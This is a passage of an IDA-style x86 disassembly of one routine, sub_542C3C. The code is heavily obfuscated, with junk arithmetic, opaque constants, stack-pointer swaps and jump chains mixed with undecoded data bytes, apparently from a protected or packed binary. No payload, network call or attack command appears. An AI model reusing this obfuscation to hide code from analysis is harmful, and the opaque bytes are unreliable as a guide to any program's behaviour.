pop esi jmp loc_5498BC ; --------------------------------------------------------------------------- loc_551E28: ; CODE XREF: sub_542C3C+96EBj sub eax, 4 xchg eax, [esp+28h+var_28] pop esp jmp loc_54AF96 ; --------------------------------------------------------------------------- dw 0C33h dd 3BE95C24h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E3F: ; CODE XREF: sub_542C3C+6199j push 0F7Ah mov [esp+3Ch+var_3C], ebp jmp loc_54B5AA ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 14F75600h, 0BF575E24h, 22CD563Eh, 4E5FFE01h dd 1C6CF681h, 24E90E07h, 28FFFFE8h, 0B3A1E9F8h, 815AFFFFh dd 0AB4132E9h, 0E9F9016Fh, 0FFFF9717h, 41ECC981h, 0F1812215h dd 0A4C2ECD4h, 303AEB81h, 0CB29036Eh, 303AC381h, 0F759036Eh dd 652E9D3h, 8CB10000h, 0FFFB12E9h, 4C4A68FFh, 7DE90000h dd 0BDFFFF6Ah, 7E3A0B3Bh, 0FF6567E9h db 0FFh ; --------------------------------------------------------------------------- loc_551EC1: ; CODE XREF: sub_542C3C+F5A2j add ecx, ebx jmp loc_550B24 ; --------------------------------------------------------------------------- dd 4EA81h, 14330000h, 62F5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551ED6: ; CODE XREF: sub_542C3C+8767j push [esp+2Ch+var_2C] mov ecx, [esp+30h+var_30] add esp, 4 add esp, 4 jmp loc_54C706 ; --------------------------------------------------------------------------- dw 8BE9h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551EEF: ; CODE XREF: sub_542C3C+6CBBj xor esi, ecx jmp loc_54752C ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF9BF3h, 4BF57h, 0FA010000h, 2414875Fh, 0FF71A4E9h dd 2EFC1FFh, 64BE5647h, 3100F6DEh, 9A055EF7h, 0E947C050h dd 0FFFFCCE1h ; --------------------------------------------------------------------------- loc_551F24: ; CODE XREF: sub_542C3C+66B7j mov [esp+3Ch+var_3C], edi jmp loc_54747A ; --------------------------------------------------------------------------- dd 3158C531h, 242C8BE8h, 4C481h, 0EC830000h, 240C8904h dd 4749C4B9h, 713BE90Fh, 0CB29FFFFh, 0FFD957E9h db 0FFh ; --------------------------------------------------------------------------- loc_551F51: ; CODE XREF: sub_542C3C+7515j pop ecx jmp loc_54A382 ; --------------------------------------------------------------------------- db 54h dd 81241C8Bh, 4C4h, 3BF5700h, 81567B45h, 545D18F7h, 81DFF700h dd 0C67359CFh, 81DFF71Bh, 2907FFEFh, 0E9FB0144h, 0FFFFC764h ; --------------------------------------------------------------------------- loc_551F84: ; CODE XREF: sub_542C3C+6FB6j pop eax add esp, 4 add esp, 4 jmp loc_552363 ; --------------------------------------------------------------------------- db 31h dd 34332434h, 0D8B6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F9E: ; CODE XREF: sub_542C3C+5BDEj mov ecx, [esp+0Ch+var_C] push ecx mov ecx, esp add ecx, 4 jmp loc_552DF9 ; --------------------------------------------------------------------------- db 50h dd 0B16304B8h, 33F10D42h, 9E2D34C1h, 29389D56h, 3C8B58C5h dd 0E0895024h, 4B951h, 0C8010000h, 2EBE959h, 0C6080000h dd 96EE8058h, 98E9492Ch, 0B2FFFF53h, 3AB753A1h, 0C7FECFFEh dd 3EE9CFFEh, 57000005h, 0FF74A5E9h, 0DEE958FFh db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551FFF: ; CODE XREF: sub_542C3C+703Ej mov ebp, 553E53B5h xor ebp, 3DC37BA4h push edx mov edx, ebp mov edi, edx mov edx, [esp+4Ch+var_4C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+50h+var_50] pop esp mov ebp, [esp+4Ch+var_4C] add esp, 4 mov ecx, 68FD2812h sub ecx, edi mov edi, [esp+48h+var_48] add esp, 4 and eax, ecx mov ecx, [esp+44h+var_44] jmp loc_54F967 ; --------------------------------------------------------------------------- dw 0AD66h dd 0FFF06AE9h, 0DFB850FFh, 0E929D816h, 0FFFF4F7Bh, 511D4FBDh dd 2CF58179h, 0E961C03Ah, 0FFFFB8C3h, 6E26E954h, 0B468FFFFh dd 5E167029h, 108C681h, 0D6F70EA4h, 0FFE010E9h, 405FFh dd 0E8830000h, 7550E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55208A: ; CODE XREF: sub_542C3C+5F2Bj sub esi, edi jmp loc_54C9B8 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0E5h dd 51FFFF5Bh, 8853B353h, 0C5FE5BDDh, 80BDCD80h, 0F58020EDh dd 59EE8835h, 0FFAD32E9h, 3EBC1FFh, 6786C381h, 0C3817B0Ch dd 8AD334F0h, 0E95BDA01h, 0FFFFF67Ch ; --------------------------------------------------------------------------- loc_5520C8: ; CODE XREF: sub_542C3C+B467j add esp, 4 jmp loc_5511B1 ; --------------------------------------------------------------------------- db 0BFh dd 1B2F5A90h, 0FFDE84E9h, 243489FFh, 0FFF1A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5520E5: ; CODE XREF: sub_542C3C+CC9Ej mov ebx, ecx pop ecx sub edi, 3D76CE4h sub edi, 82559E8h add edi, ebx add edi, 82559E8h jmp loc_54D209 ; --------------------------------------------------------------------------- loc_552101: ; CODE XREF: sub_542C3C+DE8Ej add edi, 258B14D5h sub edi, 3B1C56AFh xor edi, 7D2180CEh add ebx, edi jmp loc_5519FD ; --------------------------------------------------------------------------- dw 4A5Ah dd 8105E2C1h, 618364F2h, 5AD3010Ah, 8702C383h, 248B241Ch dd 0BE0F6624h, 0FB6866C8h, 0C896663h, 5778E924h, 5658FFFFh dd 0FFFAB1E9h, 0E944B5FFh, 0FFFFFBDCh, 0E5C14D4Dh, 0FAED8103h dd 5F0D2BDh, 7FCE0839h, 392DE801h, 5D7FCE08h, 401A68h dd 24148900h, 0FF7598E9h db 0FFh ; --------------------------------------------------------------------------- loc_552175: ; CODE XREF: sub_542C3C+54B6j neg [esp+28h+var_28] pop ebx jmp loc_54BD44 ; --------------------------------------------------------------------------- dw 8B66h dd 6682404h, 89000023h, 0FF542434h, 0A3E92434h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552193: ; CODE XREF: sub_542C3C+6FA6j sub [esp+34h+var_34], 5D7A692Dh pop ecx push esi mov esi, 351D3D2Ch xor esi, 6CAA2C4Bh or esi, 34CB4538h inc esi push ebp jmp loc_553082 ; --------------------------------------------------------------------------- dd 68D831ADh, 1D9Eh, 0FFC575E9h db 0FFh ; --------------------------------------------------------------------------- loc_5521C1: ; CODE XREF: sub_542C3C+7D8Dj push esi push [esp+2Ch+var_28] pop esi pop [esp+2Ch+var_2C] pop esp mov [esp+24h+var_24], ebx push 0DC2h mov [esp+28h+var_28], esi mov esi, 615013D1h mov ebx, esi pop esi jmp loc_551EC1 ; --------------------------------------------------------------------------- db 2Ch dd 45B652B9h, 0EEC0CEFEh, 0C0DEF608h, 0C68007EEh, 0E9F028D3h dd 0FFFFCB6Fh ; --------------------------------------------------------------------------- loc_5521FC: ; CODE XREF: sub_542C3C+1032Fj mov ch, ah mov eax, [esp+24h+var_24] add esp, 4 add ch, dl jmp loc_54C634 ; --------------------------------------------------------------------------- db 1 dd 83532404h, 2C8904ECh, 73EDBD24h, 0F4BB743Ah, 315ED80Dh dd 242C8BEBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+24h+var_24] pop esp sub [esp+20h+var_1C], ebx mov ebx, [esp+20h+var_20] push ebp mov ebp, esp add ebp, 4 jmp loc_550B72 ; --------------------------------------------------------------------------- dd 0FF4A29E9h db 0FFh ; --------------------------------------------------------------------------- loc_552251: ; CODE XREF: sub_542C3C+88D0j shl edx, 7 xor edx, 38122554h push esi mov esi, 39FB7E5Ch dec esi shr esi, 8 sub esi, 69E9734Ah add esi, 4D3C7816h add esi, 8B0C78E4h jmp loc_548D1D ; --------------------------------------------------------------------------- loc_55227B: ; CODE XREF: sub_542C3C+61A7j sub ebp, 0EC66A071h add esi, ebp push [esp+34h+var_34] pop ebp add esp, 4 add esi, 4 xchg esi, [esp+30h+var_30] pop esp jmp loc_546C7A ; --------------------------------------------------------------------------- loc_552296: ; CODE XREF: sub_542C3C+D0D0j xor esi, 0DE54B9EEh jmp loc_550CD8 ; --------------------------------------------------------------------------- loc_5522A1: ; CODE XREF: sub_542C3C+7C76j mov ecx, esp sub esp, 4 mov [esp+50h+var_50], esi push ebp push 209005ACh jmp loc_54BE08 ; --------------------------------------------------------------------------- db 0BDh dd 4, 0FFD68EE9h, 4C083FFh, 5C240487h, 0E9242C33h, 0FFFF8B7Eh dd 0F0E95055h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522D7: ; CODE XREF: sub_542C3C+B2D3j add esi, 4 sub esi, 4 xchg esi, [esp+34h+var_34] pop esp mov [esp+30h+var_30], edi jmp loc_5502D8 ; --------------------------------------------------------------------------- loc_5522EC: ; CODE XREF: sub_542C3C+D56Cj sub esi, edx jmp loc_54705A ; --------------------------------------------------------------------------- db 66h dd 7FE99C50h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522FB: ; CODE XREF: sub_542C3C+440Bj sub esi, edi add esi, 0E262028h mov edi, [esp+34h+var_34] add esp, 4 xchg esi, [esp+30h+var_30] mov esp, [esp+30h+var_30] mov [esp+30h+var_30], ebp mov ebp, 0FFFFFFFFh sub [edi+24h], ebp jmp loc_54B1F1 ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF4942h dd 0BE236DBBh, 5284E918h, 0E389FFFFh, 608468h, 243C8900h dd 549DE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552352: ; CODE XREF: sub_542C3C+59A3j sub ebx, 224B596Fh add ebx, 1F1518F7h jmp loc_550739 ; --------------------------------------------------------------------------- loc_552363: ; CODE XREF: sub_542C3C+F352j sub esp, 4 mov [esp+30h+var_30], ebx push 3E35h mov [esp+34h+var_34], edx jmp loc_54D09C ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 68243489h, 7A1Bh, 57242489h, 4BFh, 24448100h, 22286A04h dd 247C0152h, 0CC17E904h, 0C281FFFFh, 25794805h, 0EA81FA01h dd 25794805h, 0E95A0288h, 0FFFFE615h ; --------------------------------------------------------------------------- loc_5523B4: ; CODE XREF: sub_542C3C+B8BDj add edx, 0BE3CC7ECh sub ecx, edx pop edx mov edx, ecx pop ecx add edx, edi sub esp, 4 mov [esp+30h+var_30], eax jmp loc_551B23 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 37h dd 58FFFF55h, 348BF001h, 4C48324h, 2474FF50h, 48F5804h dd 0CA2CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523EA: ; CODE XREF: sub_542C3C+D5E7j add ebp, eax pop eax and eax, ebp pop ebp jmp loc_549E3F ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0E9h dd 0FFFF727Fh ; --------------------------------------------------------------------------- loc_5523FC: ; CODE XREF: sub_542C3C+AF51j inc bl dec bl xor bl, 78h jmp loc_54ADB7 ; --------------------------------------------------------------------------- dd 0E95B5F58h, 0FFFFB6C5h ; --------------------------------------------------------------------------- loc_552410: ; CODE XREF: sub_542C3C+5B70j xor edi, 1975D0BCh mov ecx, edi pop edi push ebx jmp loc_550933 ; --------------------------------------------------------------------------- loc_55241F: ; CODE XREF: sub_542C3C+AAFAj mov edi, 695E4A79h push esi mov esi, 695E4A7Dh mov ebx, esi pop esi sub ebx, edi jmp loc_55191E ; --------------------------------------------------------------------------- dd 2859C888h, 0C32858C3h, 0FF5EA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_552441: ; CODE XREF: sub_542C3C+BCC2j push ebx mov ebx, 4 jmp loc_54DF14 ; --------------------------------------------------------------------------- dd 6D28B850h, 0C38134ABh, 53707A70h, 0EB81C301h, 53707A70h dd 0FFEDA5E9h, 17E955FFh db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55246B: ; CODE XREF: sub_542C3C+B933j mov cl, 15h add bl, cl pop ecx sub bl, dl sub bl, 15h pop dx jmp loc_54D74D ; --------------------------------------------------------------------------- dd 0A3474405h, 0A2E95B36h, 59FFFF8Bh, 6A04D000h, 0FF47F9E9h dd 4875BFFh, 0DFE95C24h, 83FFFF47h, 0FF5504C4h, 5D042474h dd 8B24048Fh, 8B662424h, 0DEE9240Ch, 81FFFF78h, 2C4h, 665E6600h dd 66241431h, 0E9241433h, 0FFFF4CBBh ; --------------------------------------------------------------------------- loc_5524C8: ; CODE XREF: sub_542C3C+E704j not eax push eax push [esp+44h+var_40] pop eax pop [esp+44h+var_44] pop edi jmp loc_548F94 ; --------------------------------------------------------------------------- loc_5524D9: ; CODE XREF: sub_542C3C+7A2Bj pop ecx jmp loc_548D50 ; --------------------------------------------------------------------------- db 0C1h dd 0EEC102E6h, 4ACE8107h, 811E3B73h, 79B5C5EEh, 0E9F3311Eh dd 0FFFF4F2Ch, 2261C381h, 30E94D72h, 5CFFFF68h, 0F7240C89h dd 0C8B2414h, 0EC2DE924h, 5243FFFFh, 0AE3BB7BAh, 0D4C28168h dd 0F706D901h, 0C1E2D1D2h, 0EA8108E2h, 87FECA5Fh, 0FFFF1BE9h dd 5EFC0FFh, 202CEF80h, 65ADE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55253E: ; CODE XREF: sub_542C3C+8BE0j sub esp, 4 mov [esp+0Ch+var_C], esi push ebx push 2B4Ch mov [esp+14h+var_14], eax push ecx push 5CB67EA5h mov ecx, [esp+1Ch+var_1C] jmp loc_54E779 ; --------------------------------------------------------------------------- loc_55255E: ; CODE XREF: sub_542C3C+7BD2j pop edi dec ebx push edi mov edi, 0ED41C08h jmp loc_54B391 ; --------------------------------------------------------------------------- loc_55256B: ; CODE XREF: sub_542C3C+AFB5j push 13B7h mov [esp+40h+var_40], esi mov esi, 5EB283Fh shl esi, 4 and esi, 6A5D1CE8h add esi, 7022132Dh add esi, 0B42DF614h mov ebp, esi pop esi jmp loc_54C0F1 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 87000000h, 665C242Ch, 0E900B60Fh, 0FFFFE773h, 2958C631h dd 54515EF0h, 818EE959h, 0F988FFFFh, 0E9CA085Bh, 0FFFFD0FFh dd 452DEB81h, 0C3813C9Ah, 49EB4365h, 295BDD01h, 242C8BEBh dd 0FF5360E9h, 66F128FFh, 0E9C9FE5Ah, 0FFFFB657h, 4DDDF74Dh dd 2907C581h, 0EA216A01h, 0FF5856E9h, 6DE95BFFh, 81FFFFA8h dd 0DB0D3842h, 0B951F7DBh, 7694023Bh, 0FDC5C181h, 4A89896Bh dd 8C3E930h, 0E6D10000h, 16C68146h, 814D922Ch, 0E22A15EEh dd 94B1E909h, 0BB53FFFFh, 127025EBh, 2A25F381h, 0D3F7450Eh dd 0FFFFB850h, 0C329FFFFh, 8324048Bh, 0E38104C4h, 4EC215B7h dd 5D7FF381h, 0F5E958F7h, 29FFFFB2h, 1C3359CBh, 5E4BE924h dd 0E789FFFFh, 4C781h, 0EF830000h, 243C8704h, 8924248Bh dd 0BB532404h, 3DE92D2Ch, 176729B8h, 5BD83121h, 0A90FA935h dd 0E9C3015Eh, 0FFFFABF6h, 4C481h, 98680000h, 0E900000Bh dd 93Ah, 618268h, 24048900h, 6CFE9h, 0E3E95500h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526B3: ; CODE XREF: sub_542C3C+A740j sub esp, 4 mov [esp+30h+var_30], ebp mov ebp, ebx push ebp mov ebp, esp push esi mov esi, 52785C7Dh shr esi, 5 add esi, 0FD6C3D21h add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp+34h+var_34] pop esp jmp loc_54C028 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 0E5D7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526EA: ; CODE XREF: sub_542C3C+B2DBj xchg eax, [esp+30h+var_30] pop esp not esi inc esi xor esi, 0AEA0D882h push esi jmp loc_550C84 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 91E96DB7h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552707: ; CODE XREF: sub_542C3C+A58Dj not edi push ecx jmp loc_5487FB ; --------------------------------------------------------------------------- db 81h dd 0AB01B6E9h, 861DE929h, 0CEFEFFFFh, 8008EEC0h, 0BCE9F5C6h dd 0E9FFFFFAh, 0FFFF454Eh, 3F26C781h, 0E9592FB7h, 0FFFF79F2h dd 0CBFED4B3h, 882BF380h, 0C6805BDEh, 0C0C6FED0h, 396807E6h dd 0E9000008h, 0FFFF92C7h, 7997E95Ch, 0BF05FFFFh, 3557BC3Dh dd 609F4C9Ch, 4958C129h, 0DCE98149h, 149EF36h, 92E6E9C8h dd 895AFFFFh, 0C1815BDEh, 601675E9h, 0FF7D40E9h, 0B85057FFh dd 2, 8158C789h, 4B5B1EC3h, 81FB290Ch, 4B5B1EEBh, 1C335F0Ch dd 0B8BDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527A6: ; CODE XREF: sub_542C3C+8C03j and eax, ebx pop ebx or edx, eax shl edx, 1 push 529Ah mov [esp+1Ch+var_1C], esi sub esp, 4 jmp loc_552CE3 ; --------------------------------------------------------------------------- dd 64B45052h, 0DDE9C8B2h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527CB: ; CODE XREF: sub_542C3C+928Cj mov eax, [esp+10h+var_10] add esp, 4 push ecx push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_547EB9 ; --------------------------------------------------------------------------- dw 2959h dd 7DC82DF0h, 348B4BD7h, 4C48124h, 31000000h, 0E930FFC3h dd 0FFFF447Eh, 83D6C681h, 12B8FBABh, 0E9498043h, 14h ; --------------------------------------------------------------------------- loc_55280C: ; CODE XREF: sub_542C3C+CAD6j push 6716h jmp loc_54F8AE ; --------------------------------------------------------------------------- dw 5FE9h dd 0E9FFFF44h, 0FFFF445Ah, 0FF25D0F7h, 4027EB7Ah, 0E435952Dh dd 0CDD82D2Fh, 0F029BC92h, 0E9C2015Eh, 0FFFF793Dh, 24048B66h dd 90F6E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552846: ; CODE XREF: sub_542C3C+9BD1j sub edi, 0AC337447h sub eax, edi pop edi jmp loc_549BE0 ; --------------------------------------------------------------------------- dd 274E3CBAh, 3EAC158h, 41D7F281h, 0C2811C50h, 378A7EA0h dd 0FFA6B8E9h, 4C483FFh, 24148B66h, 505A5452h, 5C771DB8h dd 0FB73E948h, 0ED81FFFFh, 4, 8B242C87h, 3C892424h, 51E78924h dd 1C3657B9h, 33E1816Bh, 0F76F4132h, 2E1C1D9h, 5EDC181h dd 5BE95950h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5528AF: ; CODE XREF: sub_542C3C+8B56j sub esp, 4 mov [esp+14h+var_14], esi jmp loc_55115C ; --------------------------------------------------------------------------- loc_5528BD: ; CODE XREF: sub_542C3C+EEF0j pop eax push [esp+2Ch+var_2C] pop edx push edx push esp pop edx jmp loc_54D13B ; --------------------------------------------------------------------------- dw 1C89h dd 81E38924h, 4C3h, 0E259E900h, 77FFFFFFh, 6856683Ch, 3C890000h dd 5DBDBF24h, 0BF573090h, 18751B59h, 8247C01h, 81243C8Bh dd 4C4h, 246C8100h, 1B1EFE04h, 2444816Ah, 5B038404h, 247C0152h dd 246C8104h, 5B038404h, 24448152h, 1B1EFE04h, 246C816Ah dd 751B5904h, 34FF5F18h, 7E88E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552932: ; CODE XREF: sub_542C3C+6050j mov ecx, 447D0255h jmp loc_54C51A ; --------------------------------------------------------------------------- dd 0D0E975B1h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552943: ; CODE XREF: sub_542C3C+A6E9j mov [esp+24h+var_24], ebx jmp loc_54DBA2 ; --------------------------------------------------------------------------- db 58h dd 0FF4586E9h, 0BB5359FFh, 4, 4B2EE981h, 0C181139Bh, 441C5C3Bh dd 0FF8024E9h, 0E9DE01FFh, 0FFFF655Ch, 42474FFh, 8B2434FFh dd 7BE92404h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55297F: ; CODE XREF: sub_542C3C+BB64j pop eax jmp loc_54BC12 ; --------------------------------------------------------------------------- loc_552985: ; CODE XREF: sub_542C3C+4F7Dj xor edi, 28A00966h sub edx, 54B8758Fh add edx, edi jmp loc_551707 ; --------------------------------------------------------------------------- loc_552998: ; CODE XREF: sub_542C3C+BA74j push edi jmp loc_548A66 ; --------------------------------------------------------------------------- dw 34FFh dd 0E9535824h, 0FFFFEF9Eh, 241C8966h, 0DE68h, 240C8900h dd 4EC81h, 3EE90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5529BF: ; CODE XREF: sub_542C3C+B62Bj sub esi, 4 xchg esi, [esp+38h+var_38] jmp loc_54ADE3 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 32E90000h, 0FFFFFF72h db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 33793Bh jmp loc_54EDB4 ; --------------------------------------------------------------------------- aUs5usIXZZpAkKs db '¸žsÓ"5žsÓ"‰ÂX)ʇÑZP¸aKÄké1',0 dd 665B0000h, 8124048Bh, 2C4h, 1CEA8000h, 5BEA80h, 0C3805AD3h dd 0C0B60F57h, 87048F66h, 0FFC6B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_552A2D: ; CODE XREF: sub_542C3C+6563j mov [esp+30h+var_30], esi push ecx mov ecx, 752418DAh jmp loc_54CBDF ; --------------------------------------------------------------------------- db 0D1h dd 703825E8h, 0F8052234h, 0E9421E64h, 0FFFF8B3Ch, 0E9241431h dd 0FFFF50D0h ; --------------------------------------------------------------------------- loc_552A54: ; CODE XREF: sub_542C3C+5BC7j add edi, 602880B3h push 6DF0h mov [esp+14h+var_14], edi pop esi mov edi, [esp+10h+var_10] add esp, 4 and eax, esi pop esi or edx, eax shl edx, 1 push ebp push edx push ebp push 481A7810h jmp loc_54D23E ; --------------------------------------------------------------------------- loc_552A7D: ; CODE XREF: sub_542C3C+DF8Dj add ebx, 4 jmp loc_54A11C ; --------------------------------------------------------------------------- loc_552A88: ; CODE XREF: sub_542C3C+6B2Cj xor esi, 2FA25E4Ch add esi, edi pop edi sub esi, 1 xor esi, 6F011CA0h inc esi jmp loc_5479D2 ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 575D0000h, 4BB53h, 0DF890000h, 8456E95Bh dd 0EC81FFFFh, 4, 0FFC397E9h, 3D1768FFh, 0E95A058Ah, 0FFFFD8CEh dd 0AAEB814Bh, 29004AA6h, 0FE015BDFh, 2434875Fh, 5324248Bh dd 0B9515B54h, 6BF41E1h, 607F181h, 0EC812E8Dh, 4, 55243C89h dd 0FFCCDBE9h, 0F2315DFFh, 41EE815Eh, 125AE6Ah, 41C681D6h dd 0E925AE6Ah, 0FFFF9DC1h, 5048D0F7h, 541E9h, 2434FF00h dd 81AAE959h, 34FFFFFFh, 241C8B24h, 0FFA42DE9h, 0D0F581FFh dd 8938531Ah, 0F8895DEFh, 83243C8Bh, 0EA8104C4h, 26117FD1h dd 0FFED23E9h db 0FFh ; --------------------------------------------------------------------------- loc_552B51: ; CODE XREF: sub_542C3C+70FAj xchg eax, esi not eax xchg eax, esi push 0F35h jmp loc_550B65 ; --------------------------------------------------------------------------- loc_552B5F: ; CODE XREF: sub_542C3C+4CA2j pop esi mov eax, [esp+20h+var_20] jmp loc_549F78 ; --------------------------------------------------------------------------- dd 0A6BC181h, 0CA01257Ch, 1D876859h, 0ACE90000h, 57FFFF6Ch dd 9BE9E789h, 83FFFFC4h, 348702EEh, 89665C24h, 0E8882404h dd 0FFD084E9h, 2DD0F7FFh, 0B499F483h, 0FFA963E9h, 34895CFFh dd 0BD555724h, 16286D57h, 0D5F7D5F7h, 0F1E9DDF7h, 1FFFF86h dd 9CE95AD0h, 0ACFFFF83h, 8904EC83h, 0B450241Ch, 30B2B344h dd 0E38058E3h, 0BFCB80A8h, 0FF9EE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_552BD9: ; CODE XREF: sub_542C3C+F011j xor ecx, 325D490Bh push edx mov edx, 4583101h jmp loc_549DEE ; --------------------------------------------------------------------------- loc_552BEA: ; CODE XREF: sub_542C3C+65A4j xor cl, 0D3h xor cl, 69h add al, cl pop ecx mov edx, [esp+28h+var_28] add esp, 4 jmp loc_54E8EC ; --------------------------------------------------------------------------- db 4, 51h, 28h dd 93B151E8h, 80DDC980h, 67E94AC9h, 89FFFF99h, 7DE92404h dd 29FFFF7Fh, 97B3E9D3h, 0E689FFFFh, 4C681h, 0B9510000h dd 4, 8759CE01h, 0B9E92434h, 0BDFFFFD9h, 380F4A49h, 0FF601AE9h dd 0FA0158FFh, 0FF5B73E9h, 4EC83FFh, 54240C89h, 4C18159h dd 83000000h, 0C8704E9h, 24248B24h, 50243C89h, 405E089h dd 2D000000h, 4, 0E9240487h, 0FFFF7A9Ch, 4C4815Fh, 0E9000000h dd 0FFFFC180h ; --------------------------------------------------------------------------- loc_552C88: ; CODE XREF: sub_542C3C+9D8Fj push 7B36h mov [esp+34h+var_34], eax jmp loc_550BFE ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FF8375E9h db 0FFh ; --------------------------------------------------------------------------- loc_552C9D: ; CODE XREF: sub_542C3C+9E1Ej mov ebp, esp add ebp, 4 push ecx mov ecx, 62897F48h neg ecx neg ecx jmp loc_54DE54 ; --------------------------------------------------------------------------- dd 0DCEAE952h, 0C483FFFFh, 17B46802h, 1C890000h, 66E4B324h dd 0E909B753h, 0FFFFF19Fh ; --------------------------------------------------------------------------- loc_552CD0: ; CODE XREF: sub_542C3C+E568j jz loc_54BBAB push 4273h mov [esp+20h+var_20], esi jmp loc_54BE2D ; --------------------------------------------------------------------------- loc_552CE3: ; CODE XREF: sub_542C3C+FB7Fj mov [esp+20h+var_20], ebp push 73F42532h mov ebp, [esp+24h+var_24] add esp, 4 push esi jmp loc_550E9D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 3159EA81h, 348B1E63h, 4C48324h, 0FF6818E9h, 49E95CFFh dd 89FFFFE5h, 0DAB02404h, 4EC81h, 14890000h, 4EC8324h dd 0B3241C89h, 5BDE88D3h, 5AF000h, 0B60F58C3h, 148B66C0h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp+2Ch+var_2C] push ebp push esp jmp loc_54C228 ; --------------------------------------------------------------------------- dw 1487h dd 2CD25C24h, 1BE99C24h, 29FFFF3Fh, 72C281C2h, 5340254Bh dd 0C378F3BBh, 7E3C15Fh, 8B77C381h, 0E9516693h, 0FFFF91DFh dd 60ACE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552D82: ; CODE XREF: sub_542C3C+555Bj and edi, 39027558h inc edi shr edi, 2 or edi, 728A4E25h sub edi, 768A4F33h sub ebp, edi pop edi xchg ebp, [esp+34h+var_34] pop esp mov [esp+30h+var_30], edx push esp pop edx add edx, 4 sub esp, 4 mov [esp+34h+var_34], ebx push eax mov eax, 4E235FE1h add eax, 2B67E94Ah mov ebx, eax pop eax shr ebx, 4 shl ebx, 7 push edx mov edx, 33A5B702h add ebx, edx pop edx add edx, ebx jmp loc_551646 ; --------------------------------------------------------------------------- db 81h dd 0F16A0DC3h, 81C32973h, 0F16A0DEBh, 24048B73h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54BB5C ; --------------------------------------------------------------------------- loc_552DF9: ; CODE XREF: sub_542C3C+F36Ej add ecx, 4 xchg ecx, [esp+10h+var_10] jmp loc_54D967 ; --------------------------------------------------------------------------- loc_552E04: ; CODE XREF: sub_542C3C+95DFj sub ebp, 4 xchg ebp, [esp+3Ch+var_3C] pop esp mov [esp+38h+var_38], edx mov edx, esp add edx, 4 push ebp jmp loc_54EADB ; --------------------------------------------------------------------------- db 0F7h dd 7717E9D2h, 3C89FFFFh, 1DA16824h, 3C8B224Fh, 4C48324h dd 55FF829h, 46E2346Bh, 5AED68h, 24348900h, 4E2F68h, 0D3DAE900h dd 3C30FFFFh, 6860E924h, 0EA01FFFFh, 935FE95Dh, 8B66FFFFh dd 0E6E92404h, 81FFFFFDh, 4C2h, 4EA8300h, 0FFDBBFE9h, 7ECE81FFh dd 810C0020h, 670D8FCEh, 0E9565357h, 0FFFFF1E2h ; --------------------------------------------------------------------------- loc_552E88: ; CODE XREF: sub_542C3C+A8C3j pop ebx sub esp, 4 mov [esp+38h+var_38], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+38h+var_38] mov esp, [esp+38h+var_38] shr ecx, 2 push eax jmp loc_54CF6A ; --------------------------------------------------------------------------- dw 40B8h dd 572CD71Ah, 0D7704DBFh, 5E685260h, 5A2A1C05h, 0CFC2814Ah dd 8998295Eh, 0ED815AD5h, 5CD54940h, 4C8AED81h, 0FD012C71h dd 0FF8F04E9h, 2434FFFFh, 81240C8Bh, 4C4h, 5FA46800h, 0DFE90000h dd 89FFFFDCh, 51E92414h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552EF7: ; CODE XREF: sub_542C3C+7809j sub ecx, ebx pop ebx and eax, ecx jmp loc_55186B ; 